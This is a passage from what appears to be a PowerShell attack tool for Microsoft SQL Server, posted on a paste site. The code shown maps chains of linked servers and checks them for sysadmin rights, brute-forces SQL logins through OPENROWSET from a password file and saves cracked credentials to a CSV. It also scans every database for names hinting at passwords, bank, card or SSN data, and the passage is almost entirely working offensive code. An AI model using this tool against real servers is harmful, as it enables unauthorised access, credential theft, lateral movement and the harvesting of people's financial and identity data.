  1821.                         $sql += "WHERE srvname in (SELECT TOP $($i) srvname FROM master..sysservers ";
  1822.                         $sql += "WHERE srvname != @@servername AND dataaccess = 1 ";
  1823.                         $sql += "AND srvproduct = 'SQL Server' ORDER BY srvname asc) ORDER BY srvname DESC";
  1824.                         $sqlResult = mssql_query $sql;
  1825.                         if($sqlResult.result -ne $NULL -And $sqlResult.msg -eq "") {
  1826.                             $srvName = $sqlResult.result.Column1;
  1827.                             if($srvName -ne "") {
  1828.                                 if($linkedServers -contains $srvName) { continue; }
  1829.                                 $sql = "SELECT * FROM openquery(`"$($srvName)`", 'SELECT CAST(is_srvrolemember(''sysadmin'') AS VARCHAR)');";
  1830.                                 $sqlResult = mssql_query $sql;
  1831.                                 if($sqlResult.result -ne $NULL -And $sqlResult.msg -eq "") {
  1832.                                     if($linkedServers -notcontains $srvName) {
  1833.                                         $linkedServers.Add($srvName);
  1834.                                         Write-Host "      [*] GOOD LINK: $($basicInfo.srvrname) => $($srvName)";
  1835.                                         $linkedOut += "   [*] GOOD LINK: $($basicInfo.srvrname) => $($srvName)`n";
  1836.                                         if($sqlResult.result.Column1 -eq 1) {
  1837.                                             Write-Host "         [+] SYSADMIN: YES";
  1838.                                             $linkedOut += "         [+] SYSADMIN: YES`n";
  1839.                                         } else {
  1840.                                             Write-Host "         [+] SYSADMIN: No";
  1841.                                             $linkedOut += "         [+] SYSADMIN: No`n";
  1842.                                         }
  1843.                                         Write-Host "         [+] Execute SQL on Linked Server:";
  1844.                                         Write-Host "         sql> SELECT * FROM openquery(`"$($srvName)`", '_YOUR_QUERY_HERE_');"
  1845.                                         $linkedOut += "         sql> SELECT * FROM openquery(`"$($srvName)`", '_YOUR_QUERY_HERE_');`n";
  1846.                                        
  1847.                                         # Check for Linked Servers, on found linked server
  1848.                                         $count2 = 0;
  1849.                                         $sQuery = "SELECT count(srvname) from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')";
  1850.                                         $q = addTicks $sQuery 2;
  1851.                                         $sql = "SELECT * FROM openquery(`"$($srvName)`", '$($q)');";
  1852.                                         $sqlResult = mssql_query $sql;
  1853.                                         if($sqlResult.result -ne $NULL -And $sqlResult.msg -eq "") {
  1854.                                             $count2 = $sqlResult.result.Column1;
  1855.                                             if($count2 -gt 0) {
  1856.                                                 Write-Host "         [*] $($count2) Tertiary Linked Servers Found";
  1857.                                                 $sqlLinks  = "SELECT TOP 1 srvname FROM master..sysservers ";
  1858.                                                 $sqlLinks += "WHERE srvname in (SELECT TOP $($i) srvname FROM master..sysservers ";
  1859.                                                 $sqlLinks += "WHERE srvname != @@servername AND dataaccess = 1 ";
  1860.                                                 $sqlLinks += "AND srvproduct = 'SQL Server' ORDER BY srvname asc) ORDER BY srvname DESC";
  1861.                                                 $q = addTicks $sqlLinks 3;
  1862.                                                 $sql = "SELECT * FROM openquery(`"$($srvName)`", '$($q)');";
  1863.                                                 $sqlResult = mssql_query $sql;
  1864.                                                 if($sqlResult.result -ne $NULL -And $sqlResult.msg -eq "") {
  1865.                                                     foreach($row in $sqlResult.result) {
  1866.                                                         $srvName3 = $row[0];
  1867.                                                         $versionQuery  = "SELECT @@servername,system_user,is_srvrolemember('sysadmin'),(SELECT count(srvname) from ";
  1868.                                                         $versionQuery += "master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')";
  1869.                                                         $q = addTicks $sqlLinks 4;
  1870.                                                         $sql2 = "SELECT * FROM openquery(`"$($srvName3)`", '$($q)');";
  1871.                                                         $q = addTicks $sql2 3;
  1872.                                                         $sql1 = "SELECT * FROM openquery(`"$($srvName)`", '$($q)');";
  1873.                                                         $sqlResult3 = mssql_query $sql;
  1874.                                                         if($sqlResult3.result -ne $NULL -And $sqlResult3.msg -eq "") {
  1875.                                                             foreach($row3 in $sqlResult3.result) {
  1876.                                                                 $srvName3 = $row3[0];
  1877.                                                                 $usrName3 = $row3[1];
  1878.                                                                 $privs3 = $row3[2];
  1879.                                                                 $links3 = $row3[3];
  1880.                                                                 Write-Host "            [*] GOOD LINK: $($basicInfo.srvrname) => $($srvName) => $($srvName3)";
  1881.                                                                 $linkedOut += "      [*] GOOD LINK: $($basicInfo.srvrname) => $($srvName) => $($srvName3)`n";
  1882.                                                                 Write-Host "               [+] Server Name: $($srvName3)";
  1883.                                                                 $linkedOut += "         [+] Server Name: $($srvName3)`n";
  1884.                                                                 Write-Host "               [+] Current User: $($usrName3)";
  1885.                                                                 $linkedOut += "         [+] Current User: $($usrName3)`n";
  1886.                                                                 if($privs3 -eq 1) {
  1887.                                                                     Write-Host "               [+] SYSADMIN: YES";
  1888.                                                                     $linkedOut += "         [+] SYSADMIN: YES`n";
  1889.                                                                 } else {
  1890.                                                                     Write-Host "               [+] SYSADMIN: NO";
  1891.                                                                     $linkedOut += "         [+] SYSADMIN: NO`n";
  1892.                                                                 }
  1893.                                                                 if($links3 -gt 0) {
  1894.                                                                     Write-Host "               [+] $($links3) Additional Linked Servers Found!";
  1895.                                                                     $linkedOut += "         [+] $($links3) Additional Linked Servers Found!`n";                                                            
  1896.                                                                 }
  1897.                                                                 $linkedOut += "         sql> SELECT * FROM openquery(`"$($srvName)`", 'SELECT * FROM openquery(`"$($srvName3)`", ''_YOUR_QUERY_HERE_'')');`n";                                                             
  1898.                                                             }
  1899.                                                         } else {
  1900.                                                             Write-Host "            [*] BAD LINK: $($basicInfo.srvrname) => $($srvName) => $($srvName3)";
  1901.                                                             $linkedOut += "      [*] BAD LINK: $($basicInfo.srvrname) => $($srvName) => $($srvName3)`n";
  1902.                                                         }
  1903.                                                     }
  1904.                                                 }                                              
  1905.                                             }
  1906.                                         } else {
  1907.                                             if($sqlResult.msg -ne "") {
  1908.                                                 Write-Host "         [x] Problem Checking Basic Info on Secondary Link: ";
  1909.                                                 $sqlResult.msg;
  1910.                                             } else {
  1911.                                                 Write-Host "         [x] NO Results Returned From Secondary Link Query";
  1912.                                             }
  1913.                                         }                                      
  1914.                                     }
  1915.                                 } else {
  1916.                                     Write-Host "      [-] BAD LINK: $($basicInfo.srvrname) => $($srvName)";
  1917.                                     $linkedOut += "      [-] BAD LINK: $($basicInfo.srvrname) => $($srvName)`n";
  1918.                                 }
  1919.                             }
  1920.                         } else {
  1921.                             Write-Host "[x] Error Encountered Fetching Server Name for Link $($i)";
  1922.                             $sqlResult.msg;
  1923.                         }
  1924.                     }
  1925.                     if($linkedOut -ne "") {
  1926.                         New-Item -path $outDir -Name "mssqlfu-linked_servers.txt" -Value $linkedOut -ItemType file -force | Out-Null;
  1927.                     }
  1928.                     Write-Host "";                 
  1929.                    
  1930.                 } else {
  1931.                     Write-Host "[x] NO Linked Servers Found";
  1932.                 }
  1933.             } else {
  1934.                 Write-Host "[x] Problem Finding Linked Servers";
  1935.                 $sqlResult.msg
  1936.             }
  1937.             Write-Host "";
  1938.  
  1939.         } elseif($userArg.ToLower() -match '^openrowset$' -Or $userArg.ToLower() -match '^brute') {
  1940.             $sqlResult = mssql_query "SELECT name FROM master..syslogins";
  1941.             if($sqlResult.result -ne $NULL) {
  1942.                 $usrOut = "[*] Current SQL User Accounts:`n";
  1943.                 foreach($row in $sqlResult.result) {
  1944.                     if($row.name -ne $NULL) {
  1945.                         $usrOut += "   [+] $($row.name)`n";
  1946.                     }
  1947.                 }
  1948.                 $usrOut += "`n";
  1949.                 Write-Host $usrOut;
  1950.             }
  1951.             $usernameArg = Read-Host "ENTER SQL Username to Try";
  1952.             Write-Host "";
  1953.             $pwdFile = Read-Host "ENTER Path to Passwords File to Use";
  1954.             Write-Host "";
  1955.             if(Test-Path -Path $pwdFile) {
  1956.                 $passwords = Get-Content $pwdFile;
  1957.                 Write-Host "[*] Bruteforcing Account via OPENROWSET()";
  1958.                 Write-Host "   [+] Username: $($usernameArg)";
  1959.                 Write-Host "   [+] Passwords Loaded: $($passwords.Count)`n";
  1960.                 Write-Host "[*] Starting authentication attempts...";
  1961.                 While($True) {
  1962.                     $remaining = $passwords.Count;
  1963.                     foreach($p in $passwords) {
  1964.                         $sql = "SELECT * FROM OPENROWSET('SQLOLEDB', ''; '$($usernameArg)'; '$($p)', 'SELECT 1');";
  1965.                         $sqlResult = mssql_query $sql;
  1966.                         if($sqlResult.msg -eq "") {
  1967.                             Write-Host "`n[*] Successfully Authenticated via OPENROWSET()";
  1968.                             Write-Host "   [+] Username: $($usernameArg)";
  1969.                             Write-Host "   [+] Password: $($p)";
  1970.                             Write-Host "   [+] Execute SQL as User:";
  1971.                             Write-Host "      sql> SELECT * FROM OPENROWSET('SQLOLEDB', ''; '$($usernameArg)'; '$($p)', 'SELECT 1; _YOUR_QUERY_HERE_');";
  1972.                             Write-Host "`n      NOTE: Openrowset() must return at least one column value, hence the 'SELECT 1' query prefix"
  1973.                             Write-Host "        Also requires any single quotes inside your query to be doubled up '=>'', or else..."
  1974.                             $out = "mssql,$ip,$usernameArg,$p,master";
  1975.                             Add-Content -path "$($outDir)\creds.csv" $out | Out-Null;
  1976.                             Break
  1977.                         } else {
  1978.                             if(($remaining % 25) -eq 0) {
  1979.                                 Write-Host "   [-] Attempts Remaining: $($remaining)";
  1980.                             }
  1981.                         }
  1982.                         $remaining = $remaining - 1;
  1983.                     }
  1984.                     Break;
  1985.                 }
  1986.             } else {
  1987.                 Write-Host "[x] Unable to Load Passwords File: $()";
  1988.                 Write-Host "   [x] Check path or permissions and try again...";
  1989.             }
  1990.             Write-Host "";
  1991.  
  1992.         } elseif($userArg.ToLower() -match '^idf$' -Or $userArg.ToLower() -match '^search$' -Or $userArg.ToLower() -match '^interest.data') {
  1993.             Write-Host "[*] Interesting Data Finder Options:";
  1994.             Write-Host "   [1] Use Default Regex String: '(?i)pwd|pass|bank|credit|card|cc|ccv|ssn|logon|user'";
  1995.             Write-Host "   [2] Use Custom User Provided Regex String`n";
  1996.             $optionArg = Read-Host "ENTER IDF Option Number";
  1997.             Write-Host "";
  1998.             if($optionArg -eq 2) {
  1999.                 $regexArg = Read-Host "ENTER Custom Regex String";
  2000.                 Write-Host "";
  2001.                 $regexStr = $regexArg;
  2002.             } else {
  2003.                 $regexStr = '(?i)pwd|pass|bank|credit|card|cc|ccv|ssn|logon|user';
  2004.             }
  2005.             $idata = @();
  2006.             $interestingDataItems = {$idata}.Invoke();
  2007.             $sqlResult = mssql_query "SELECT name FROM master..sysdatabases;";
  2008.             if($sqlResult.result -ne $NULL) {
  2009.                 Write-Host "[*] Searching for Interesting Data...";
  2010.                 foreach($dbName in $sqlResult.result) {
  2011.                     if($dbName.name -ne $NULL) {
  2012.                         if($dbName.name -match $regexStr) {
  2013.                             Write-Host "   [+] DB: $($dbName.name)";
  2014.                             if($interestingDataItems -notcontains "DB: $($dbName.name)") {
  2015.                                 $interestingDataItems.Add("DB: $($dbName.name)");
  2016.                             }
  2017.                         }
  2018.                         $sql = "SELECT TABLE_NAME,COLUMN_NAME,DATA_TYPE From $($dbName.name).INFORMATION_SCHEMA.COLUMNS Where TABLE_CATALOG Like '_DBNAME_' AND TABLE_SCHEMA like 'dbo';".Replace("_DBNAME_", $dbName.name);
  2019.                         $sqlResult2 = mssql_query $sql;
  2020.                         if($sqlResult2.result -ne $NULL) {
  2021.                             foreach($row in $sqlResult2.result) {
  2022.                                 if($row.TABLE_NAME -match $regexStr) {
  2023.                                     if($interestingDataItems -notcontains "DB: $($dbName.name), Table: $($row.TABLE_NAME)") {
  2024.                                         Write-Host "   [+] DB: $($dbName.name), Table: $($row.TABLE_NAME)";
  2025.                                         $interestingDataItems.Add("DB: $($dbName.name), Table: $($row.TABLE_NAME)");
  2026.                                     }
  2027.                                 }
  2028.                                 if($row.COLUMN_NAME -match $regexStr) {
  2029.                                     if($interestingDataItems -notcontains "DB: $($dbName.name), Table: $($row.TABLE_NAME), Column: $($row.COLUMN_NAME)") {
  2030.                                         Write-Host "   [+] DB: $($dbName.name), Table: $($row.TABLE_NAME), Column: $($row.COLUMN_NAME)";
  2031.                                         $interestingDataItems.Add("DB: $($dbName.name), Table: $($row.TABLE_NAME), Column: $($row.COLUMN_NAME)");
  2032.                                     }
  2033.                                 }
  2034.                             }
  2035.                         }
  2036.                     }
  2037.                 }
  2038.                 Write-Host "[*] Interesting Data Finder Search Complete";
  2039.                 $idfOut = "[*] Interesting Data Finder Results:`n";
  2040.                 if($interestingDataItems.Count -gt 0) {
  2041.                     $idfOut += "   [+] $($interestingDataItems.Count) Interesting Items Found`n";
  2042.                     Write-Host "   [+] $($interestingDataItems.Count) Interesting Items Found"
  2043.                     foreach($item in $interestingDataItems) {
  2044.                         Write-Host "      [-] $($item)";
  2045.                         $idfOut += "      [-] $($item)`n";
  2046.                     }
  2047.                     $idfOut += "`n";
  2048.                     Write-Host "`n[+] Happy Hunting!`n"
  2049.                     New-Item -path $outDir -Name "mssqlfu-interesting_data_finder.results.txt" -Value $idfOut -ItemType file -force | Out-Null;
  2050.                 } else {
  2051.                     Write-Host "   [x] No Interesting Data Found :(";
  2052.                 }
  2053.             } else {
  2054.                 Write-Host "   [x] Unable to Get Database Listing to Run Full Search";
  2055.             }
  2056.             Write-Host "";
  2057.            
  2058.         } else {
  2059.             # Execute raw SQL Query & Return results
  2060.             $result = mssql_query $userArg;
  2061.             if($result.rowCount -gt 1) {
  2062.                 foreach($row in $result.result) {
  2063.                     $row;
  2064.                 }
  2065.             } else {
  2066.                 if($result.msg -ne "") {
  2067.                     $result.msg;
  2068.                 } else {
  2069.                     try {
  2070.                         $result.result.Column1;
  2071.                     } catch {
  2072.                         $result.result;
  2073.                     }
  2074.                 }
  2075.             }
  2076.             Write-Host "";
  2077.         }
  2078.     }
  2079. } else {
  2080.     Write-Host "[x] Unable to Connect to MS-SQL Server!";
  2081.     Write-Host "   [x] Check arguments and try again...";
  2082. }
  2083. Write-Host "`n[*] Good Bye`n";
  2084. # EOF
Advertisement
Add Comment
Please, Sign In to add comment